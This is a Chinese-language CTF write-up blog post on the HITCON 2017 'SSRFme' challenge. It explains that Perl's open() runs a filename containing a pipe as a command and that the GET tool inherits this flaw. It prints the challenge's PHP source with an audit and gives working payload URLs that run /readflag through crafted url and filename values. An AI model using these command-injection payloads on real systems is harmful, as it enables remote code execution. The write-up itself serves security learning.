[HITCON 2017]SSRFme 1 Perl GET任意命令执行漏洞

[HITCON 2017]SSRFme 1

学到了perl的open中的命令执行漏洞,参考了这篇博客大佬一的博客和这篇大佬二的博客

open漏洞

在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数底层调用了open函数,故存在漏洞。

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");    # 管道符在尾部 
print <FD>;

open(FD, "|id");    # 管道符在头部
print <FD>;

ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)   #两个方法都可以执行

GET函数

GET函数部分源码:

# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");

# 这里GET函数运行open前会检查是否存在文件,如果不存在就会报文件不存在,无法继续执行,所以这里需要存在一个名字和命令相同的文件。

执行测试

ricter@baka:/tmp/a$ touch 'id|'             # 创建文件“id|”
ricter@baka:/tmp/a$ GET 'file:id|'          # 使用GET,使用file协议读取文件”id|“
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)   # 触发漏洞

题目

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
?>

pathinfo函数

将输入的路径解析,返回解析后的结果
输入:

<?php
print_r(pathinfo("/test1/testweb/test.txt"));
?>

输出:

Array
(
    [dirname] => /test1/testweb
    [basename] => test.txt
    [extension] => txt
    [filename] => test
)

审计

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

# 使用字符串“orange”和你的ip拼凑起来,经过md5,组成供你使用的沙箱,随后进入沙箱。
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# 运行 GET $_GET['url'] 命令,将结果存到data里面。这里使用escapeshellarg做了一个过滤处理。
$info = pathinfo($_GET["filename"]);
# 这里将你传到filename的文件路径解析开,存到info里。如你传入a/b/c

$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
# 根据你的文件路径创建文件夹,并移动到其中,准备创建文件。用上面的例子,这里就是帮你创建a/b/文件夹,准备创建c文件。
@file_put_contents(basename($info["basename"]), $data);
# 创建文件,将第一步GET命令得到的结果放入这个文件内。

# 这一段概括一下,首先你传入两个参数,url和filename,他会把执行GET $_GET['url']的结果存到filename文件里。这个filename文件可以是一个路径,他会帮你创建中途的文件夹。

我们最后得到的payload即为

/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里使用file协议,bash -c就是将目标当作可执行文件运行,如bash -c "echo 'hello World'"
/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里运行两次是因为命令要执行首先需要文件存在,第一次执行时文件不存在,创建文件,第二次执行命令。
/sandbox/your md5/bash -c /readflag| # 访问结果。

# P.s 这里我省略了看根目录的一步,看根目录不需要执行命令,直接使用GET命令原本的功能就可以了
/?url=/&filename=haha   # 将结果存入haha文件中
/sandbox/your md5/haha  # 查看结果
posted @ 2022-03-01 23:41  AikNr  阅读(513)  评论(0编辑  收藏  举报